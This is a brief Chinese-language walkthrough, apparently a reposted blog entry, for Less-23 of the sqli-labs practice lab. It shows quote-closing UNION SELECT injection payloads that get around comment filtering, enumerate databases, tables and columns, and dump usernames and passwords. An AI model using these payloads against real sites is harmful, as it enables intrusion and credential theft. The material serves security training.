Less(23)GET - Error based - strip comments (基于错误的,过滤注释的GET型)

1.这个没有登录框,我们先看一下php文件

   

   看到替换了能用的注释符,所以我们构造闭合语句

2.爆破

  (1)爆库:?id=' union select 1,2,database() '

    

(2)爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

  

  (3)爆列名:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

    

   (4)爆值:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

    

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转载自www.cnblogs.com/meng-yu37/p/12306933.html